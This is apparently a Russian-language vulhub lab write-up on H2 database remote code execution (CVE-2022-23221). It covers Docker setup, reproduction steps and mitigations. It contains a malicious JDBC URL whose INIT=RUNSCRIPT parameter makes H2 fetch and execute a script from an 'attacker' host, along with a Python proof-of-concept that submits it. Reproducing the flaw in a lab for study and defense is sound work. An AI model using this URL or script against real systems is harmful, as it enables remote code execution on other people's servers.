Назад к обновлениям
UpdatedJul 29, 2026

H2-database-CVE-2022-23221 — Updated!

vulhub/H2-database/CVE-2022-23221

Поделиться

RCE в базе данных H2 (CVE-2022-23221)


1. Краткое описание

  • Ссылка: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 — это система управления реляционными базами данных, которая предоставляет возможность компилировать и выполнять Java-код непосредственно в SQL-движке.

  • Драйвер H2 парсит JDBC URL и устанавливает соединение между приложением и базой данных. При этом через параметры конфигурации, содержащиеся в URL, можно управлять начальным состоянием и поведением базы данных.

  • В версиях H2 ниже 2.1.210 существует проблема: через параметр INIT в JDBC URL можно выполнять удалённые SQL-скрипты. Злоумышленник может воспользоваться этим, чтобы удалённо внедрить поддельный SQL-скрипт и через его синтаксис выполнить системные команды, что и приводит к возникновению уязвимости CVE-2022-23221.

  • Особенности этой уязвимости:

    1. Аутентификация не требуется: любой, у кого есть право ввести JDBC URL, может использовать эту уязвимость для захвата контроля над системой.
    2. Автоматическое выполнение при запуске сервиса: если злоумышленник изменит лишь файл конфигурации, при запуске сервиса, использующего H2, автоматически произойдёт RCE (удалённое выполнение кода).
    3. Скрытность: разработчику трудно заметить атаку.
    4. Широкий охват воздействия: благодаря высокой скорости и лёгкости H2 используется для разработки и тестирования множества веб-сервисов. Любая среда, в которой JDBC URL можно задать через файл конфигурации или на основе пользовательского ввода, может стать целью атаки с использованием этой уязвимости, поэтому её масштаб велик.
  • Сфера воздействия уязвимости

    • Подверженные версии: H2 ниже 2.1.210
    • Патч-версии: H2 2.1.210 и выше

2. Условия уязвимости

  • Используется версия H2 ниже 2.1.210.
  • В JDBC URL содержится IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql'.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> обход настроек безопасности
      • При наличии этих параметров настройки безопасности отключаются, поэтому при инициализации команда удалённого выполнения скрипта не блокируется и выполняется как есть.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-команда, автоматически выполняемая при подключении приложения к БД
      • Если в значении параметра INIT содержатся SQL-команда RUNSCRIPT и адрес вредоносного скрипта, H2 при установлении соединения между приложением и БД H2 подключается к указанному серверу, загружает файл и выполняет его.
  • Внутри загруженного SQL-скрипта присутствует SQL-конструкция CREATE ALIAS.
    • Конструкция CREATE ALIAS внутри удалённо выполняемого скрипта заставляет H2 выполнять Java-функции скрипта в БД, что в итоге приводит к RCE.




3. Настройка окружения

  • Сценарий

    • Настраивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 парсит этот URL без надлежащей проверки, загружает SQL-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable вместе со строкой «EXPLOITED» выводятся результаты выполнения команд id, whoami, pwd, это означает, что уязвимое окружение H2 настроено и при парсинге вредоносного JDBC URL файл exploit.sql был удалённо загружен с внешнего сервера attacker и выполнен.
  • Настройка окружения

    docker compose up -d 
    

    docker ps

    • При выполнении команды запускаются следующие окружения.
    • h2-vulnerable: H2 2.0.206 (уязвимая версия до патча)
      • Веб-консоль H2: http://your-ip:8082
      • TCP-сервер: tcp://your-ip:9092
    • attacker: HTTP-сервер
      • http://your-ip:8000 : предоставляет файл exploit.sql
  • После настройки окружения при переходе по адресу http://your-ip:8082 отображается веб-страница H2.




4. Процедура воспроизведения

: Поскольку в веб-консоли применяется политика безопасности, параметры, являющиеся условием уязвимости, могут быть отфильтрованы, поэтому JDBC URL с вредоносными параметрами вводится напрямую через CLI для воспроизведения уязвимости и проверки результата.

[Случай с обычным запросом]

  • Обычный JDBC URL: "jdbc:h2:mem:test"

  • Команда обычного запроса

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Результат выполнения Выполнение через CLI

    • Запросов на сервер attacker не поступало
    • На сервере h2-vulnerable никаких особых логов не выведено

[Случай эксплуатации уязвимости]

  • Вредоносный JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Запуск атаки

  • Вредоносный JDBC URL вводится в драйвер H2 для попытки соединения с сервером attacker. Существует два способа ввода URL.

    1. Ввод вредоносного JDBC URL напрямую в H2 Shell через CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Выполнение через CLI

    1. Запуск PoC-файла.
    python3 poc.py
    

    Запуск poc.py

2. Запрос и выполнение файла

  • Согласно значению в параметре INIT JDBC URL — INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', H2 запрашивает (HTTP GET) файл exploit.sql с сервера attacker и выполняет его в базе данных H2.

    1. Если выполнить docker logs attacker, можно проверить логи запросов файла exploit.sql, поступивших с сервера h2-vulnerable.
    docker logs attacker
    

    1. Сервер attacker возвращает запрошенный файл exploit.sql, а сервер h2-vulnerable выполняет полученный файл exploit.sql. При этом конструкция CREATE ALIAS внутри скрипта инициирует выполнение Java-кода, в результате чего происходит RCE.


5. Код poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. Результаты выполнения

  • В результате выполнения файла exploit.sql в логах сервера h2-vulnerable вместе со строкой «EXPLOITED» выводятся результаты выполнения команд id, whoami, pwd.

  • Логи можно проверить с помощью docker logs h2-vulnerable.

    docker logs h2-vulnerable`
    

    Проверка результатов выполнения

=> Это означает, что уязвимое окружение H2 настроено и при парсинге вредоносного JDBC URL удалённая загрузка и выполнение файла прошли успешно.


7. Меры противодействия

  • Обновление до версии H2 2.1.210 и выше
    • Содержание патча: ограничение функции выполнения внешних скриптов через параметр INIT
    • Дата релиза: 2022-05-15
  • Усиление проверки вводимых JDBC URL: блокировать ввод, содержащий такие параметры, как INIT, RUNSCRIPT, которые вызывают удалённое выполнение кода, и проверять вводимые JDBC URL на основе белого списка.
  • Мониторинг целостности конфигурации и окружения: при изменении файлов конфигурации проверять их на предмет подмены и пропускать только после одобрения администратора.

Категории